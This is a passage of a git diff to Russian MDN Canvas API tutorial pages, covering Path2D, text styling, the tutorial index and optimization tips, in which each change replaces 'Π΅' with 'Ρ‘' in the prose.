ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ для Π±ΠΈΡ‚ΠΎΠ² Ρ‡Π΅Ρ€Ρ‚Π΅ΠΆΠ° часто ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΈ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ количСство Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΅Π³ΠΎ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ.</p>
-<p>ПозТС, Π² этом ΡƒΡ€ΠΎΠΊΠ΅, ΠΌΡ‹ Π΅Ρ‰Π΅ Ρ€Π°Π· рассмотрим <code>fillStyle</code>,Β Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ. Π—Π΄Π΅ΡΡŒ ΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ для измСнСния Ρ†Π²Π΅Ρ‚Π° Π·Π°Π»ΠΈΠ²ΠΊΠΈ ΠΏΡƒΡ‚Π΅ΠΉ вмСсто Ρ†Π²Π΅Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ Π΄ΠΎ Π±Π΅Π»ΠΎΠ³ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
+<p>ПозТС, Π² этом ΡƒΡ€ΠΎΠΊΠ΅, ΠΌΡ‹ Π΅Ρ‰Ρ‘ Ρ€Π°Π· рассмотрим <code>fillStyle</code>,Β Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ. Π—Π΄Π΅ΡΡŒ ΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ для измСнСния Ρ†Π²Π΅Ρ‚Π° Π·Π°Π»ΠΈΠ²ΠΊΠΈ ΠΏΡƒΡ‚Π΅ΠΉ вмСсто Ρ†Π²Π΅Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ Π΄ΠΎ Π±Π΅Π»ΠΎΠ³ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
<h2 id="Path2D_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹">Path2D ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹</h2>
@@ -522,7 +522,7 @@ function roundedRect(ctx,x,y,width,height,radius){
<dl>
<dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
- <dd>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Path2D()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ вновь созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Path2D</code>Β Β Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ с Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡƒΡ‚Π΅ΠΌ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° (создаСт копию) ΠΈΠ»ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ со строкой, состоящСй ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡƒΡ‚ΠΈ <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd>
+ <dd>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Path2D()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ вновь созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Path2D</code>Β Β Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ с Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡƒΡ‚Ρ‘ΠΌ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° (создаёт копию) ΠΈΠ»ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ со строкой, состоящСй ΠΈΠ· Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡƒΡ‚ΠΈ <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd>
</dl>
<pre class="brush: js notranslate">new Path2D(); // пустой path ΠΎΠ±ΡŠΠ΅ΠΊΡ‚
@@ -540,7 +540,7 @@ new Path2D(d); // path ΠΈΠ· SVG</pre>
<h3 id="Path2D_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">Path2D ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаСм ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΈ ΠΊΡ€ΡƒΠ³. Оба ΠΎΠ½ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Path2D</code>, поэтому ΠΎΠ½ΠΈ доступны для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ использования. Π‘ Π½ΠΎΠ²Ρ‹ΠΌ API <code>Path2D</code> нСсколько ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π±Ρ‹Π»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ нСобходимости ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Path2D</code> для использования вмСсто Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΡƒΡ‚ΠΈ. Π—Π΄Π΅ΡΡŒΒ <code>stroke</code> ΠΈΒ <code>fill</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΏΡƒΡ‚ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для рисования ΠΎΠ±ΠΎΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° холст.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаём ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ ΠΈ ΠΊΡ€ΡƒΠ³. Оба ΠΎΠ½ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Path2D</code>, поэтому ΠΎΠ½ΠΈ доступны для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ использования. Π‘ Π½ΠΎΠ²Ρ‹ΠΌ API <code>Path2D</code> нСсколько ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π±Ρ‹Π»ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ нСобходимости ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Path2D</code> для использования вмСсто Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΡƒΡ‚ΠΈ. Π—Π΄Π΅ΡΡŒΒ <code>stroke</code> ΠΈΒ <code>fill</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΏΡƒΡ‚ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для рисования ΠΎΠ±ΠΎΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° холст.</p>
<div class="hidden">
<pre class="brush: html notranslate">&lt;html&gt;
@@ -573,7 +573,7 @@ new Path2D(d); // path ΠΈΠ· SVG</pre>
<h3 id="ИспользованиС_SVG_ΠΏΡƒΡ‚Π΅ΠΉ">ИспользованиС SVG ΠΏΡƒΡ‚Π΅ΠΉ</h3>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° мощная функция Π½ΠΎΠ²ΠΎΠ³ΠΎ Canvas <code>Path2D</code>Β API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡƒΡ‚Π΅ΠΉ Π½Π° вашСм холстС. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π²Π°ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Π² SVG, Ρ‚Π°ΠΊ ΠΈ Π² холстС.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° мощная функция Π½ΠΎΠ²ΠΎΠ³ΠΎ Canvas <code>Path2D</code>Β API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ SVG, <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>, для ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡƒΡ‚Π΅ΠΉ Π½Π° вашСм холстС. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π²Π°ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡƒΡ‚ΠΈ ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΊΠ°ΠΊ Π² SVG, Ρ‚Π°ΠΊ ΠΈ Π² холстС.</p>
<p>ΠŸΡƒΡ‚ΡŒ пСрСмСщаСтся Π² Ρ‚ΠΎΡ‡ΠΊΡƒ (<code>M10 10</code>), Π° Π·Π°Ρ‚Π΅ΠΌ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ пСрСмСщаСтся Π½Π° 80 ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π²ΠΏΡ€Π°Π²ΠΎ (<code>h 80</code>),Β Π·Π°Ρ‚Π΅ΠΌ Π½Π° 80 ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π²Π½ΠΈΠ· (<code>v 80</code>),Β Π·Π°Ρ‚Π΅ΠΌ Π½Π° 80 ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π²Π»Π΅Π²ΠΎ (<code>h -80</code>),Β Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° start (<code>z</code>).Β <br>
Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° страницС Β <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html
index 226dfc1e21..e33d9080b4 100644
--- a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html
@@ -65,7 +65,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_тСкста
<h2 id="Бтилизация_тСкста">Бтилизация тСкста</h2>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ ΡƒΠΆΠ΅ использовали свойство font для измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° тСкста. ΠšΡ€ΠΎΠΌΠ΅ Π½Π΅Π³ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΅Ρ‰Π΅ нСсколько свойств, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ тСкста Π½Π° canvas:</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ ΡƒΠΆΠ΅ использовали свойство font для измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° тСкста. ΠšΡ€ΠΎΠΌΠ΅ Π½Π΅Π³ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π΅Ρ‰Ρ‘ нСсколько свойств, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ тСкста Π½Π° canvas:</p>
<dl>
<dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt>
diff --git a/files/ru/web/api/canvas_api/tutorial/index.html b/files/ru/web/api/canvas_api/tutorial/index.html
index 3d6a7e259a..3a01a141e0 100644
--- a/files/ru/web/api/canvas_api/tutorial/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/index.html
@@ -12,13 +12,13 @@ translation_of: Web/API/Canvas_API/Tutorial
Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Π² ΠΏΡ€Π°Π²ΠΎΠΉ части ΡΡ‚Π°Ρ‚ΡŒΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ использования <code><a href="/ru/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a>.</code><br>
ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΡ… создания приводятся Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.Β </p>
-<p>Π’ этом руководствС ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ основы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Π° <code>&lt;canvas&gt;</code> для рисования 2D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ &lt;canvas&gt;, Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π° ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π² создании собствСнных ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>Π’ этом руководствС ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ основы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Π° <code>&lt;canvas&gt;</code> для рисования 2D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ &lt;canvas&gt;, Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π° ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π² создании собствСнных ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ².</p>
<p><code>Π’ΠΏΠ΅Ρ€Π²Ρ‹Π΅ &lt;canvas&gt;</code> использовался ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠ΅ΠΉ Apple для создания <a href="https://ru.wikipedia.org/wiki/Dashboard">Mac OS X Dashboard</a>, Π°Β Π·Π°Ρ‚Π΅ΠΌ Π±Ρ‹Π» Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π² Web-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. На сСгодняшний дСнь всС основныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ с &lt;canvas&gt;. Π’Π΅Π³Β <code>&lt;canvas&gt;</code> Ρ‡Π°ΡΡ‚ΡŒ спСцификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> Ρ‚Π°ΠΊΠΆΠ΅ извСстной ΠΊΠ°ΠΊ HTML5.</p>
<h2 id="Before_you_start" name="Before_you_start">ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ</h2>
-<p>Π Π°Π±ΠΎΡ‚Π° с элСмСнтом <strong><code>&lt;canvas&gt;</code></strong> довольно проста, Π½ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΎΡ‚ вас Π±Π°Π·ΠΎΠ²Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉΒ <a href="ru/docs/HTML" title="HTML">HTML</a> ΠΈΒ <a href="JavaScript" title="JavaScript">JavaScript</a>. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅Π΄ΠΈΡ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;<strong>canvas&gt;</strong></code> Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ поддСрТиваСтся Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ <strong><code>&lt;canvas&gt;</code></strong> Β 300px Γ— 150px (ΡˆΠΈΡ€ΠΈΠ½Π°Β Γ— высота), ΠΎΠ΄Π½Π°ΠΊΠΎ эти Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ HTML-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <code>height</code> ΠΈ <code>width</code>. Для рисования Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ <strong><code>&lt;canvas&gt;</code></strong> ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>javascript context object</code>,Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ динамичСски.</p>
+<p>Π Π°Π±ΠΎΡ‚Π° с элСмСнтом <strong><code>&lt;canvas&gt;</code></strong> довольно проста, Π½ΠΎ ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΎΡ‚ вас Π±Π°Π·ΠΎΠ²Ρ‹Ρ… Π·Π½Π°Π½ΠΈΠΉΒ <a href="ru/docs/HTML" title="HTML">HTML</a> ΠΈΒ <a href="JavaScript" title="JavaScript">JavaScript</a>. Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅Π΄ΠΈΡ‚ΡŒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;<strong>canvas&gt;</strong></code> Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ поддСрТиваСтся Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ <strong><code>&lt;canvas&gt;</code></strong> Β 300px Γ— 150px (ΡˆΠΈΡ€ΠΈΠ½Π°Β Γ— высота), ΠΎΠ΄Π½Π°ΠΊΠΎ эти Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ HTML-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <code>height</code> ΠΈ <code>width</code>. Для рисования Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ <strong><code>&lt;canvas&gt;</code></strong> ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>javascript context object</code>,Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ динамичСски.</p>
<h2 id="In_this_tutorial" name="In_this_tutorial">Π’ этом руководствС</h2>
diff --git a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
index 40a83917e8..74b0c60df0 100644
--- a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
@@ -20,7 +20,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
<h2 id="Π‘ΠΎΠ²Π΅Ρ‚Ρ‹_ΠΏΠΎ_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">Π‘ΠΎΠ²Π΅Ρ‚Ρ‹ ΠΏΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h2>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ сборник совСтов ΠΏΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ canvas.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ сборник совСтов ΠΏΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ canvas.</p>
<h3 id="ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ_отрисуйтС_ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅_ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹_ΠΈΠ»ΠΈ_ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹_Π½Π°_offscreen_canvas">ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ отрисуйтС ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π½Π° offscreen canvas</h3>
@@ -46,7 +46,7 @@ myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);
<p>ΠŸΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΊΡΡˆΠΈΡ€ΡƒΠΉΡ‚Π΅ изобраТСния Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² Π½Π° offscreen canvas, Π° Π½Π΅ постоянно ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈΡ… Π² {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p>
